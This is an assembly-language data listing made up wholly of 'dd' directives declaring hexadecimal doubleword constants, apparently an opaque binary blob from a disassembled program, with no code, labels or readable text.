dd 56AAFD16h, 87C15700h, 0F67CAEFCh, 30EF6E8h, 0BAA20CDAh
dd 0E4C86B68h, 21002774h, 0F8538637h, 183648EBh, 195F2CF3h
dd 9700343Eh, 16296AABh, 0AC49ADh, 189B4492h, 37986FC1h
dd 4AC6C70Ch, 1A2990Bh, 0B0C5BC4Bh, 9FD9BB88h, 6A586F70h
dd 26CEDBA8h, 2413364Bh, 40A61FC3h, 0D67B7127h, 0CA07B57Ch
dd 0CB286C13h, 93165740h, 96AA003Ah, 0CF0CCE2Fh, 0E6006E71h
dd 642CE16Bh, 0C330568Bh, 32A43D58h, 67CACBF8h, 6899E607h
dd 44B1E2F7h, 0DCC47828h, 342F1CEAh, 0AA003D8Eh, 8B141943h
dd 1252D5A3h, 4CA0FE04h, 0EC007DD7h, 5A86154Fh, 0C329EA4Ah
dd 738B4820h, 31001DEBh, 53E5D2F2h, 310E5F9Ah, 0B60993D8h
dd 5220828Ah, 600AE47Bh, 7162C35Eh, 0A24D0009h, 0A4EFAA8Bh
dd 6E1D34EEh, 8130BA74h, 1FA6D23Ch, 39C4E55Dh, 0EDABF106h
dd 0F03711Eh, 0C7A880F6h, 0B1310322h, 0D529E79h, 7B61ACE0h
dd 15C57F11h, 566ADC00h, 5A521349h, 9562E702h, 0C0EAE4CAh
dd 0DFA83E83h, 0CED100B1h, 26953275h, 3840D201h, 36A8073Ch
dd 0AFFE698Ah, 16D48090h, 0B2D19BBCh, 1994B901h, 777B9D8Dh
dd 448B5085h, 0BDA440FAh, 18998FAEh, 74E70B00h, 6A50476Bh
dd 0C060ADEh, 0C4001E6h, 7B6937BBh, 22803F07h, 0AE104A19h
dd 711AFC8Eh, 539F072Fh, 3345AC6Dh, 0D8A8810Ah, 3B1D387Ch
dd 20061551h, 7811A5h, 0C4CE5D75h, 2768D921h, 70D64F00h
dd 8B0FD0CDh, 184176F3h, 31A0C6CEh, 0DB13F635h, 80034F76h
dd 7F5E5697h, 20136008h, 6BDC2A0Ch, 28686100h, 0FC80DB54h
dd 0A79E00A8h, 1C387FAAh, 4B2A5A35h, 0BB78FCEFh, 4AB3D1C0h
dd 7BFB4C5h, 0A7924257h, 5B198093h, 5905C809h, 288F20F5h
dd 1445F280h, 0D6CD2806h, 0EEC318A0h, 4B9751EDh, 0D3813E00h
dd 5FCC9FA9h, 0D6660025h, 0CE868402h, 3D00A1FFh, 0BC833FB3h
dd 0FC9DFE3h, 0D15D3A7Eh
dd 701021A9h, 5A28561Dh, 0F8000851h, 52E6A1D2h, 0C35043D1h
dd 0B12505F1h, 0F5A6409Fh, 1600539Ah, 79233E62h, 244802C5h
dd 12282F07h, 341020BBh, 54007A17h, 836EDDCFh, 8A14DEh
dd 3E88D2F1h, 0EEF72F92h, 0AF7DEB00h, 5B05119Eh, 0C39CA02Eh
dd 83E844EDh, 6BDB1B00h, 0CBB2738h, 0B2E4E992h, 253C02D8h
dd 0C6B13481h, 10713044h, 6B9D3Dh, 3DD2A444h, 738F34h
dd 4C6C303Fh, 93CE2AB8h, 9044BAECh, 0E3DD07F5h, 60B39F89h
dd 5B20F9E5h, 968A8002h, 4C5E9EEBh, 0B51D1A18h, 6CB038B4h
dd 9A0020DCh, 70712958h, 95FB92h, 0C979A872h, 822E23DAh
dd 78BF804h, 0FE463BA7h, 870049A6h, 0BD916803h, 1321A7Dh
dd 9DF0630Dh, 2023B32Fh, 0CD244304h, 0A2C050D2h, 464EAADCh
dd 2C142296h, 0A36610h, 2432373Bh, 252952E0h, 3EE844h
dd 218E3982h, 90436BFDh, 0EB853E60h, 6D235680h, 44DDE419h
dd 3BE1BCFFh, 2B880CBh, 0D7A45F8Dh, 1AFF801h, 651406Fh
dd 0C8C8E242h, 3744BAB5h, 0E4731E50h, 1BBD005Fh, 0B3209735h
dd 0E2240B00h, 913F4E4Ch, 8D5B24C4h, 8BC4386Ch, 0A698AD00h
dd 59CD10C5h, 0DF600ABh, 0AED6BAA4h, 3A008A90h, 0B33565BEh
dd 1323C29h, 0FAFB1088h, 0E09DA999h, 0C3482CB4h, 580096BCh
dd 0A8FAEA42h, 0F79A0051h, 2946031Ah, 0C7000513h, 1C4424B2h
dd 2FA232h, 0A9938996h, 0C3F611B1h, 1B785602h, 4166BDDCh
dd 18100988h, 23EBF62h, 12A801E0h, 0B8C0B98Ch, 2F5B026Ah
dd 0DC871D07h, 0EC98D99Dh, 0E360C573h, 2E968299h, 0C2EAFFh
dd 8EB74E14h, 0CEEC926Bh, 35416507h, 2C64166Dh, 1B4CCh
dd 0BEDE9761h, 0B6498E89h, 2091CC00h, 22FECE0Ch, 427E00EAh
dd 0E660A16Bh, 0BC24123Ah, 0A76F3440h, 6CD0135Fh, 24A4E43Dh
dd 6B447F6h, 0B01C4F10h, 0E2939E2Eh, 34EFF405h, 0FDD58003h
dd 0F306E95Bh, 0A3B030h, 0CF4F24EDh, 0EEFB01Ch, 0CB351913h
dd 42085043h, 6E6DA94Bh, 92A42C20h, 14BC3B58h, 88F3B980h
dd 0B21C933h, 0EE888150h, 3CC75B88h, 0E900CBB8h, 0D385EC6Dh
dd 380E6570h, 9DF8E7CFh, 0BA7E43C1h, 7F00A32Ch, 41072FDBh
dd 0C8E40E14h, 0FD630581h, 0A855A1CCh, 56D5D4h, 3F6A7AB7h
dd 7651D906h, 88B5FE2Ah, 170F9B01h, 1F3A7049h, 0FF1B88FFh
dd 86713A2Dh, 0A279A580h, 54FDB46Bh, 0A1FE3218h, 4C278F39h
dd 6A000F5Eh, 0ACB12A85h, 0BE07A3C8h, 9FDFA03Bh, 7BF33230h
dd 0A092CAh, 40199253h, 0E234B77Ch, 86571018h, 24289CC9h
dd 160F243h, 369F1DD6h, 75388ECDh, 5A93A042h, 58DA69D9h
dd 756C02h, 0B99B5823h, 0A9A7D0C8h, 0B8502700h, 1E8F7534h
dd 0D78C0743h, 407ECC12h, 4FC8EE69h, 597438C1h, 87CBA238h
dd 0C1E0F89h, 14CD49A8h, 0FCCF1F0Eh, 0D1A58D02h, 18937579h
dd 4E2E6DA0h, 0B30CDE0Ch, 0F8EC11Eh, 56574C4Fh, 5AE101C0h
dd 0A8005F6Ah, 5542F93h, 1238373Ch, 299060h, 0A662A018h
dd 2C007E9Ch, 882F81E3h, 16A7CE50h, 0C13FBA1h, 22B87300h
dd 1475FAF2h, 3C95BD05h, 9C08E9ABh, 0A286BE21h, 11870C90h
dd 24AC8B0Fh, 89E4025Fh, 0D06C1Bh, 9DBE33E5h, 77E9B4F7h
dd 0B9930700h, 917B3717h, 41DB1640h, 2066168Bh, 0E55CF2ACh
dd 6F9A750Bh, 0EAE49909h, 0E5A50C10h, 7881D226h, 3AC80106h
dd 0FFC0089h, 6936B546h, 0D4032E7Ch, 0C637271h, 43C38C55h
dd 5090947Bh, 0D4653h, 4FAE3D4h, 96976EB2h, 19564E00h
dd 38FF4BE5h, 995A0724h, 0D6A16451h, 327DA11Fh, 6CA01E90h
dd 80FF72E0h, 0F1715E18h, 308D2C60h, 0B490B2CBh, 490AD69Ch
dd 88CE2638h, 0D2858F81h, 0D83354A8h, 8000113Eh, 0CCC74348h
dd 1500F6BCh, 8A9B538Ch, 170BD94Dh, 1E6D4B8Bh, 2B002120h
dd 5AC1DD06h, 5DFA3A6Ch, 77AC3E85h, 67508092h, 261D29C7h
dd 7B0CA7A0h, 2039D0h, 0D1C63E60h, 3848406Bh, 0D94BB000h
dd 0B376F280h, 30C8644Ch, 0C96F40FEh, 0B572CCh, 5954B5Ch
dd 903F9E5Dh, 17222A03h, 0D8105038h, 7CB5275h, 65BE036h
dd 8416C7Ch, 91094C17h, 5AAEA400h, 8FD813h, 0C8B39745h
dd 3FC4387Ah, 18A7FB00h, 7CF8DFEDh, 9735Ch, 0F716D0AFh
dd 0C65E71Fh, 9048600Eh, 0E122200Eh, 1B7447h, 0C6818E5Dh
dd 0C77C3F68h, 1FB85A0Eh, 12834027h, 14D222h, 0BFEC16A3h
dd 94A74532h, 7D0B18C0h, 1D63F34Fh, 81F99EB3h, 0D28C1C69h
dd 0D024E1AEh, 6C1D1293h, 6803286Dh, 1D9542h, 3FD3D550h
dd 524A2F11h, 1A67DB03h, 8847156Ch, 2D7712h, 0D8295D0Fh
dd 89316820h, 0F67389C0h, 62D1CFAh, 13D65665h, 5C300855h
dd 2ED12020h, 30690FFBh, 0C680415Fh, 38F2B4DDh, 83119200h
dd 0A98BB705h, 21CB30FEh, 0AB3532A0h, 2F7A2D01h, 6CD32C62h
dd 795C0EE0h, 0EF930137h, 94ADE840h, 0A2D1803Bh, 0E2A61ACBh
dd 99AF602Ah, 86215B7h, 552FD0Eh, 7D1B004Eh, 11555Fh, 19CA6C76h
dd 0BC3F6D94h, 0B7AE6407h, 1440A112h, 0F0ED4942h, 462102CCh
dd 246B3067h, 0F09F0341h, 0E500127Eh, 411C370Ah, 0FE1FFE8h
dd 1A5D6BD6h, 880FD4Bh, 200F12BAh, 8E7E20C0h, 29C3623Fh
dd 6220A018h, 26306CA3h, 0C9B7601Fh, 7E5F8B3Dh, 88A6A800h
dd 7C335225h, 2185602Ah, 0C7C092D9h, 13918D00h, 64B53987h
dd 734C0134h, 0C89A1BCCh, 0C5945023h, 0C6009B3Bh, 9555F62Ah
dd 1E090690h, 9CABFC3Dh, 0AFC6AE2h, 4BDD0AA9h, 0A6A500B4h
dd 0A7C21CE7h, 7F73FF0Eh, 6D86FAFh, 95935C8h, 36537542h
dd 0CC606F80h, 7174ADACh, 7B214960h, 8B4067h, 3416FD4Eh
dd 0F6F1E6Ch, 85188E7Eh, 7029829Eh, 2CC152D8h, 0F1531C01h
dd 0B697DE4h, 53627800h, 0E037559h, 3214A9F0h, 4AC24DCh
dd 2A7F20CCh, 3C33548Ch, 4DA379FBh, 0F61FB421h, 0D335FB41h
dd 61808EC1h, 0F2AD7D14h, 46375E5Bh, 5CC0281Eh, 39B7B13h
dd 0D6721612h, 0E2991B99h, 40808A39h, 0FF009C70h, 6857BF49h
dd 984BF31Ah, 6DC040C8h, 644D9DDh, 11A9E226h, 2139810Ch
dd 0B87EB013h, 1D941D25h, 85C53FD9h, 138A98Ch, 8BF51654h
dd 0AC28817Fh, 0EDFA307Dh, 9BB23980h, 0A62382DEh, 0B362B0Ch
dd 0C55C08F6h, 0C0C45421h, 0F3DB963Bh, 416C9700h, 0A5E61611h
dd 0D370765h, 0F559E22Fh, 23702F67h, 45070325h, 70007DA6h
dd 0C7CA3947h, 0A06D42h, 5737661Eh, 5F5D4A65h, 23168970h
dd 0B0007236h, 0B85B0C38h, 1B220C48h, 0F2F11F54h, 9B2D9400h
dd 92CDCEA8h, 0CC763A9Fh, 5F211B30h, 0CF0E2C5Dh, 0A9A91FBFh
dd 9E38AAE9h, 0DEC69930h, 0A36B0059h, 72F01F73h, 0DDF8B1A2h
dd 1015C0A1h, 5275F76Ch, 4022CCA5h, 0C06190C8h, 0A8B52D96h
dd 0EA309E46h, 2D7F5979h, 7253C401h, 0ACE3C3B8h, 1D1EC4Ch
dd 11CBAD3Ah, 40311034h, 0B964D6B8h, 0BF6BCC3Bh, 9C3A2479h
dd 1A60C364h, 0E5512B53h, 0C00BBCh, 0F8536962h, 1F27D929h
dd 5DE2F722h, 606F5446h, 9F2D9880h, 0CC436EA8h, 0B211C30h
dd 7B012D81h, 3F178EF5h, 0CC47A7C3h, 351A9D1h, 0E0BAEC30h
dd 0BD3046Dh, 0D0E59599h, 54E932ACh, 3B7870B8h, 6D4CE21Ch
dd 0FAA51F40h, 60E19487h, 2F174189h, 58C0C16Ah, 4B6DE705h
dd 0E036F815h, 0AEEC24D9h, 0BD3F8020h, 0CA3AFE76h, 271B2901h
dd 704517C5h, 9BD220E0h, 0FAF80104h, 18552D1Ah, 0D300EB65h
dd 6E76FB30h, 25015100h, 19942349h, 5E0202A7h, 72D92B1Bh
dd 3FE47845h
dd 16FCCA60h, 90D09400h, 1599D778h, 93FB166Ch, 10447BEBh
dd 8B821EF3h, 0A11F6785h, 71AE1620h, 8B83DB44h, 0A988EFF0h
dd 0A2780E30h, 0E051D815h, 40C75648h, 1904C920h, 0EB398F37h
dd 30DE80C8h, 0E25066C4h, 89004A2Ch, 12CC82A6h, 28C251DFh
dd 0E0AA28h, 20CBB28Ch, 47A59270h, 70D22934h, 0C84FF8C2h
dd 924E4B94h, 118C073Ch, 501BA9CAh, 0BCB3CD78h, 140B1702h
dd 62965BDCh, 8D144084h, 0B7A10708h, 8223DD11h, 0A4E1B1B6h
dd 7FFAE493h, 62008CB8h, 917060CAh, 30BC12A8h, 0AB408DBEh
dd 71DF1354h, 309F0429h, 0A6B3FD40h, 132B9078h, 1F27D44Ah
dd 0AA5303F4h, 0E4C211A7h, 0C0256040h, 0A15F076h, 3B8C9AE8h
dd 30383479h, 92F3B4C0h, 7ED20283h, 521C98AFh, 4725C940h
dd 7CBFAD24h, 5028A515h, 0BC653114h, 0C00C1218h, 132C99ADh
dd 4194451Bh, 0E1B40A20h, 68604C34h, 33262419h, 3F02B6A8h
dd 2C471721h, 0B9071A0h, 22642F36h, 80404000h, 73623725h
dd 4238E021h, 0D97C10A9h, 0E708A92Ch, 0E1723C42h, 0F1A821E4h
dd 0A4E59838h, 9F0D2410h, 99120070h, 9D11A1D2h, 4148E550h
dd 0A13038Dh, 481E6AD1h, 7CD8A651h, 7148A9C9h, 26EC3E5Eh
dd 94FA8303h, 81002AA3h, 1F725813h, 0CFE741E1h, 44A07830h
dd 24D92542h, 50073B28h, 1D7B9118h, 5C6D1E39h, 2F0A386Bh
dd 40CC18DFh, 5837ED3Fh, 4F9D11C0h, 2E1F2CD6h, 116C19B6h
dd 0EC600127h, 0D9FE4BADh, 57527600h, 1021BB30h, 0F6A93B55h
dd 0DD3288D2h, 0C9852B0Bh, 15540038h, 0A207E80Ch, 0D0DC0234h
dd 222503E6h, 53A0E4C3h, 866CF9A0h, 6A027819h, 400058E2h
dd 72A6ECDFh, 406C44Bh, 0E9164C7h, 2BB02AEDh, 20059969h
dd 6B868213h, 1D118481h, 2529D08Fh, 0FFD0CBE9h, 131695ACh
dd 8004ED94h, 9F0A21F8h, 688CF840h, 6834C434h, 0FAB4032h
dd 0C9191303h, 6C621901h, 0D21ECCAAh, 0AE154806h, 2AAC549Eh
dd 0B8CA54ADh, 1025BCB2h, 4C7A3174h, 253F50D5h, 3C7240E0h
dd 0E8049A9Eh, 7311946Dh, 10801C94h, 0EFAF315Eh, 41E70101h
dd 829320Ch, 10E642D4h, 0C7171D3Eh, 1AB44124h, 5B20D311h
dd 383D9204h, 7C0A0408h, 0DBF61F92h, 5B1D0191h, 101CEFAFh
dd 6D2A3324h, 140850A1h, 76904B1Ch, 6D0FC15Eh, 3E2095D8h
dd 0CD10F75h, 0E63660D5h, 0CEAE9435h, 289483D1h, 0DC621845h
dd 199A6065h, 0A0922804h, 1C83D819h, 10CF89EEh, 0D15075AAh
dd 28604210h, 48E08A2h, 0D59A920Fh, 40218A3Eh, 8C9761Ah
dd 22C01C04h, 0CA18E752h, 940CA009h, 0DB141423h, 816448A2h
dd 508A7799h, 0E02C2158h, 965200C6h, 723BD7BFh, 0ECA65844h
dd 1FD93720h, 3EBDB8EFh, 5CFC08E8h, 86F50485h, 10807D45h
dd 0B4546F29h, 42AD6301h, 1C303713h, 0BDA029Eh, 8BB7DCE4h
dd 0FF882220h, 4D6C0952h, 0E4904B84h, 79331F4Fh, 1AB83838h
dd 592C4C69h, 839C1041h, 4A016249h, 0C8C7BD2Fh, 70C178F5h
dd 9C24A7FAh, 0E3760B6Dh, 0ACA9D930h, 0D0DC2804h, 8F3B3FF0h
dd 29694360h, 0B033E74Ah, 2D990044h, 1BEEA6A7h, 710EA0C5h
dd 8E9294DFh, 0E850607Ah, 3913C2B2h, 105D52B6h, 75078322h
dd 78941E0Ch, 76D03941h, 228B34E0h, 48CC144Ch, 0E8DE51D9h
dd 0D5D1008Ch, 617C2DB8h, 8E02022Bh, 26E90725h, 0F5BDE018h
dd 21B6030Ch, 50B0ED1Ah, 0F447A9F9h, 4992A7Ch, 8945A01Ch
dd 0EC91D993h, 1D10C40Fh, 0C9163AF3h, 24109920h, 0FAC40144h
dd 27268752h, 489F79E9h, 8E56CCD9h, 0C18B6528h, 0F2FCA36Ch
dd 0B9C1C321h, 11B894D0h, 38C0956Ah, 3B81FB52h, 16F71628h
dd 0E1486638h, 708926Bh, 0D4E5C8C0h, 7AAA2C90h, 5F4C3A1Fh
dd 0B05DCB0Eh, 5A04B25h, 0A07C5210h, 50A1A2C8h, 79A8403Ah
dd 0ACA1200Ch, 0A6F8243Fh, 2B079972h, 0FE336E7h, 10A01923h
dd 2BD24350h, 10B0A827h, 7872B07Ah, 0AD141C0Ah, 9380ECCCh
dd 2144904Ch, 43147ADCh, 0A7B87BC2h, 11B63192h, 0C8710BCh
dd 991F3A9Fh, 0D936A00h, 3552378Bh, 19331200h, 0DE8745E8h
dd 9F0A038Ch, 0C2569255h, 0A22A790Ah, 260AA48Eh, 0E107F42Dh
dd 0E0CED436h, 0EAA70A93h, 2BF83F0Fh, 34522486h, 417FC81Ah
dd 0ADD62000h, 51D0D16Eh, 6D8E1EC8h, 3E50E44Bh, 0E2EC80FFh
dd 7840B55Dh, 4BAF6309h, 0A298A105h, 30882052h, 1385311Fh
dd 8D22302h, 3D82836h, 4AA220ADh, 4A811EA1h, 0DA47128Ch
dd 35D14401h, 0B404C0B0h, 45356378h, 1C1D81C2h, 5977E837h
dd 0B6303889h, 107F4187h, 8E433888h, 1344CA9h, 60525E4Bh
dd 4498587Dh, 7C01AE73h, 5A2CA067h, 28E00C8Eh, 0ACF601A2h
dd 0AD9F3592h, 706D4Bh, 0C4AB621Ah, 9156A0CEh, 29209978h
dd 0ABC40941h, 84F8B4C7h, 81B47BA2h, 517EED88h, 0E7D03B58h
dd 974690A6h, 5236A405h, 3CF0009Ah, 13EF253Fh, 0AC601AE2h
dd 54815C80h, 4FB0CF9Ah, 0E363A560h, 0B8920D10h, 2C502503h
dd 0BB889E34h, 7C8211h, 2792956Dh, 71C160F2h, 0A85CDE85h
dd 0E023B6FDh, 0E5CC837Ah, 5C88A4ECh, 1388430Fh, 0A8A3490h
dd 9880F1F7h, 7C99A167h, 0BB048C38h, 0FA9DB6F9h, 599E3881h
dd 51DA8450h, 90DAF1B1h, 0F8AD088Ch, 49D91999h, 30A881EEh
dd 0CC15B804h, 1E989F44h, 8B0FF70Ch, 370B06D6h, 57D0F910h
dd 0D4B5A7Fh, 4641B700h, 600C18C8h, 10AA5213h, 0DD7E00D4h
dd 1B5E0BCFh, 2EC4B51Ah, 0FCD04011h, 0A59F79h, 0DE6D75F8h
dd 36FE0AA3h, 34A2B80h, 0CCB7EA09h, 1E2D22A8h, 816C8443h
dd 67FB6D60h, 548C3DF2h, 3F8B466h, 0BB2BFB64h, 51FFB5ABh
dd 80F14D92h, 298F3A58h, 0CE84107h, 0D6E94C75h, 0C02C0D18h
dd 6781787Dh, 7EE840F0h, 0D9A1C410h, 1BAA2E03h, 887C798Ch
dd 2D82B2CFh, 0E0976FCCh, 0C1815411h, 0FC7BFF1Dh, 2F002E08h
dd 0B7AF3B0Eh, 0B09A11A7h, 0D98C063Ah, 183AE6E5h, 542E485Ah
dd 0C121F610h, 829E286Bh, 0D167D4h, 13331B0Fh, 4599D5F4h
dd 3905EE7Bh, 5F72FBDh, 0F03720E4h, 10026073h, 0C6EDD929h
dd 0CE9834CFh, 0CF39E0C3h, 7DE33B9Ch, 0BD3E00C4h, 0DACDE2F7h
dd 2500DFD4h, 0F2EB2BF3h, 0C9C7CB3h, 5BEEEC1Eh, 8300FC7Eh
dd 41F042A3h, 0CDACA20h, 0D5A055E0h, 0F400A838h, 58EEA987h
dd 1DBC4F89h, 50515Fh, 0A824E108h, 0AA037E1Fh, 0FDA0D7B4h
dd 88F8AB31h, 1192DDh, 0C620E95Fh, 53E36581h, 0FC3D94EEh
dd 0DEAE8005h, 0D4A86C7Fh, 0AAE4005Fh, 0DB198C01h, 58D8E32Bh
dd 30C6F6B8h, 0D9983DEBh, 510084B3h, 0A842E32Ch, 60B83971h
dd 7D0528A7h, 0A303AC9Eh, 0A60EF527h, 130830FCh, 9E453049h
dd 0A1853C00h, 64EC7616h, 6FFE0099h, 9A181DDBh, 543BC783h
dd 92D985E9h, 9C40BC16h, 67CC3248h, 456D0643h, 8152AE3h
dd 0E221B96Eh, 4085CC6Ah, 1899C47Ah, 4953E10Bh, 4B339A0Ah
dd 0F058109Bh, 94B9E8h, 7196C1A7h, 31BA424Ch, 1C43DF03h
dd 0C038D14Dh, 0DC68BFh, 0F416A93Fh, 0B3CB55AAh, 4C596000h
dd 62A30358h, 7ECF0097h, 8BF14B8Eh, 0F4005DB7h, 7A9E6AAEh
dd 121363h, 3A592015h, 2180980Eh, 2D01E2E4h, 1CC2D15Eh
dd 0A130F193h, 6DA006Bh, 96FAFB43h, 5A00BFA4h, 0C33036A0h
dd 1A4163C2h, 104D6DB6h, 3A0A0418h, 316C3Eh, 85BA93E5h
dd 7B2D510Bh, 7E7928h, 0F31523BCh, 0E7A25D0Ah, 0BBEB290Ch
dd 840929BEh, 10929E22h, 11E98A79h, 0B511D26Fh, 28E7111Ah
dd 51A3617Dh, 384F71Fh
dd 0EA2907F1h, 70CE2FE8h, 0EDD5C2C0h, 2DEE3Bh, 43CCBA20h
dd 2C3DC8h, 24AD92AAh, 0A35CD65Bh, 8E600760h, 339DB3h
dd 0E24045DBh, 1E37ACC5h, 0C00A0503h, 0B0E31859h, 0AAFCD2h
dd 2B0904FAh, 6310501Dh, 4C5A2F1Dh, 0D61B55C0h, 0D9B706h
dd 40FB9087h, 0A8233ECBh, 25584500h, 275FB309h, 975A0019h
dd 0C7D3485Eh, 0D000A522h, 42C4EA34h, 1F1AF3F1h, 803FBD70h
dd 244E6E0Ah, 870048D8h, 51C060AFh, 1C971Bh, 0D3F53BB1h
dd 1338AE54h, 0E70B8D00h, 1D537CC4h, 0D5370569h, 2FCAF8h
dd 0DEB3D1DCh, 89EE467Ah, 9EA5053Bh, 0F00711E9h, 0C1C02386h
dd 7AE253Eh, 0A0A46696h, 872A40C5h, 34124F10h, 321CEF44h
dd 455C840h, 0FC49FDF0h, 0B5ECFE0Bh, 3682B6E0h, 0CA3A98A0h
dd 9A27BD03h, 0A08E80F5h, 0C070E28h, 8C6D02B9h, 0B100FD10h
dd 0F868EDDFh, 49C0FC5Eh, 7E0030D5h, 0C88D2C23h, 3500ED7Fh
dd 7AAE7B0Fh, 0EBB23Ah, 0EC238774h, 7D6B3F8Eh, 0DDA29F0Ah
dd 9194ACBDh, 824E00E4h, 0F30E825h, 164D0029h, 6EF85D56h
dd 0FF053A1Eh, 899CB3FDh, 5055EC00h, 14099A2Ah, 0C4A561EBh
dd 5B7D2300h, 543B65FDh, 0B89958CAh, 201B740Fh, 1BAE434h
dd 0CE890029h, 41CD2B3Dh, 8A3CF912h, 0B26680FCh, 0B4AF2D2Ch
dd 14391C54h, 0DE9A00D0h, 0A68A600Fh, 45367701h, 627332DBh
dd 5BB4CD40h, 7C24F4CDh, 8FEAEh, 73B67470h, 6DC41621h
dd 126A1305h, 0ABC086EEh, 0F9745683h, 3BCC8F8h, 6E149589h
dd 0CB90F9BEh, 3439B036h, 0AF75034Bh, 0B2E205h, 0FBA95F11h
dd 6BD7DBC0h, 3A7703Ah, 0F18AF7ACh, 779898BDh, 0A0F00E0h
dd 0F3A08D30h, 6900F4E7h, 47CDA4ECh, 0B1EFFh, 6FA89C74h
dd 0A55B6124h, 0A3FBEF00h, 0A4BCE6B0h, 8B3B0073h, 0C1D14856h
dd 230171A6h, 99EA43FDh, 0A3308628h, 0D8F202AAh, 8DE7FC5Fh
dd 14AFCA0h, 0B40F5990h, 47264B4Ch, 0DEA03563h, 1576FF83h
dd 0C823F2B6h, 500C0E0Fh, 0D7941B20h, 0B704E734h, 0D1DD966h
dd 213FDD40h, 9F07CE1Bh, 544003FCh, 75B00670h, 0E01F0FCDh
dd 1600196Fh, 2EDDBDCCh, 30F28400h, 45FA55B4h, 7DE60048h
dd 79855F88h, 0FB004D71h, 4F3E205Dh, 7A51309h, 301E0BFAh
dd 939D4025h, 1C0064A1h, 947E66DAh, 0AC5A6Bh, 9603C8EEh
dd 0D684837Ch, 0DAFEEA07h, 4511BB54h, 9820BAB0h, 47AA00C9h
dd 10D86B41h, 4A3D6E08h, 7F2880F5h, 118B071h, 2A370AF4h
dd 3F8ECAFh, 361C25C8h, 6DFB7AF8h, 76DA4A00h, 2C1401FEh
dd 5421002Eh, 242AA573h, 0EA00C115h, 57173364h, 30A4D70h
dd 49CEF512h, 8B8932Eh, 8F006F86h, 0AAFFC55Ah, 90EE5B66h
dd 5EC700FDh, 8A0E88BBh, 0B10020ADh, 0A886E583h, 196BE2h
dd 9BDE2EB8h, 2276D7ACh, 0BC581D00h, 0DDFF9637h, 0B8BAE511h
dd 6197C780h, 0B8BBE8D3h, 0C6479E00h, 5DEC9483h, 0B67D18C8h
dd 5B1C519Ch, 69CF3700h, 41DE6F97h, 92B00C53h, 0C207457h
dd 635B5D1Ch, 3B2CD5C0h, 145F1F4Ch, 0DE28AB5Ch, 39383A00h
dd 0CA148849h, 1AC08000h, 4C4AB00Ch, 0B5D30137h, 44A83EF8h
dd 78DAF448h, 5B1C46F4h, 0D680F4A2h, 108085FBh, 0C262006Dh
dd 0CA21425Ch, 0EA006C55h, 597D7908h, 2B75E0h, 696A9772h
dd 0C6399C8h, 0C2195600h, 36C62CA1h, 0D1E81648h, 25A800F1h
dd 132A8189h, 2EAD0400h, 751E4DC1h, 9892003Eh, 0A4F45AA8h
dd 3013F7D3h, 9000CC3Ch, 0BA954B1Ah, 1B1400ACh, 0CC01162h
dd 98796705h, 13068301h, 7C5B17CAh, 1B4DA8CFh, 8E840A65h
dd 0E842EEh, 0A38845B4h, 5B000CB6h, 8A5C6C25h, 4C2E879h
dd 0B4CDD4D1h, 648081B7h, 8983C858h, 803C683Fh, 3D100C7Bh
dd 3CE997A9h, 34A6D0CAh, 0DF1A017Ch, 80946C95h, 55933A18h
dd 836902h, 0D4F6DC74h, 47F8A3EAh, 63CCB00h, 0B5B4B26Ah
dd 6D36073Eh, 0E0A54632h, 9D084976h, 0E33F9100h, 56D09B12h
dd 369F0915h, 881F572h, 603AEC3Bh, 9B1322A0h, 0D4005E2Bh
dd 0A1234FB1h, 8AFC481Dh, 44ED0602h, 9CC09889h, 0A80037E4h
dd 2CDA79FDh, 1376EF33h, 4D35491h, 0C0A5CE21h, 0F340B478h
dd 0A4F149h, 0EF7A27ABh, 0ACDE4Ch, 69174381h, 478F7B03h
dd 630EE61Dh, 5771C080h, 17A7B8E7h, 73299Dh, 0E4C70C84h
dd 0B5008539h, 0D45C5DD1h, 7088FEBAh, 3E0A7568h, 0E0806034h
dd 0AD790DBBh, 0C424A286h, 9900973Dh, 0F69EA481h, 0FEF2005Eh
dd 0F398C7FFh, 6F00A9EFh, 0E5B02A16h, 1DC6262Fh, 689B9AE4h
dd 0B38700FBh, 4F98541Bh, 314E679Ch, 0C80FAA16h, 4B41806Dh
dd 9A2F8Dh, 0E7BD3C44h, 59DA05B4h, 0D876B61Ch, 75C1B580h
dd 0E6AFE02Dh, 0ED19001Bh, 72F96714h, 3300B84Ch, 58FB8734h
dd 2511A7h, 2BF76FBEh, 83E97164h, 8F571600h, 3F6EB0B8h
dd 129C002Ah, 0DAF61CA4h, 0EC9872EFh, 69262500h, 1B479A13h
dd 4A45002Bh, 0E53118E2h, 0DE130FB4h, 0AC007B77h, 59EFF530h
dd 3F74B0DDh, 0C00B528h, 46C6B84h, 0FD90EC7Ah, 2E95E300h
dd 0ED822DA9h, 2B6100FAh, 6A6F79E0h, 5C941D4Fh, 99A74000h
dd 737473Fh, 0B5420371h, 44CD30BFh, 541D096Bh, 0FF56A5ABh
dd 60199500h, 14CEE175h, 8D39B4Dh, 2DE78403h, 0F98EDF7h
dd 280AA670h, 0F86E626Bh, 1DA1740h, 0AFBB0FB1h, 0E7A75CA2h
dd 9040A93Ch, 9508742h, 8C7532E0h, 1C540402h, 80B2516Eh
dd 0EB2C3820h, 4008E2A5h, 0BA44465Ah, 98ED0180h, 0BE228789h
dd 0DBBE20A8h, 6E191A03h, 0B0C540D5h, 982B6BFh, 783C13A1h
dd 60162041h, 93009646h, 1B98AD38h, 160E751Ch, 476CE1A8h
dd 30F9EA2Ch, 955AA4CEh, 0EE131F03h, 0E8385D67h, 3DCAA745h
dd 9D80C32Ah, 7E70298Bh, 1539463Fh, 4FE48010h, 78C3F9C9h
dd 280260CEh, 6E747C68h, 1074D7Dh, 54CCFA27h, 55AE7FD1h
dd 26A6AFF4h, 1E8CDAAh, 0E789550h, 3AABCCCCh, 0F200BF7Eh
dd 0EF1ECB64h, 1D2A305Ch, 0C0DFE04Dh, 0AD0374CEh, 3F50E9AAh
dd 44000CC0h, 933EB71Fh, 0E8F2F5h, 75956294h, 0D6C15056h
dd 3865EC00h, 0F89F7D98h, 7EB20035h, 10EB4B67h, 753B2431h
dd 56B00358h, 0C84C7B80h, 0FDF540h, 7207E8C5h, 14B86F5Bh
dd 1B87A200h, 0CC9B77A7h, 19E23D4Eh, 0E7F92Eh, 0F32F1286h
dd 47006D4Ah, 95533CC4h, 3B4C7128h, 400857Ch, 0AED7A69Bh
dd 72245DAFh, 0E300ED17h, 0EF6BB6A8h, 7E4EB82Ah, 0DE1E00E4h
dd 0E2931F0Dh, 6E00DA90h, 0ED2363ACh, 0D6A19Eh, 0F6838E8Fh
dd 0D522307Dh, 915E1F01h, 9E071971h, 1293DC20h, 315E19Ah
dd 33C76C73h, 0A33AF9E0h, 706E03Ah, 64EF4472h, 1E894170h
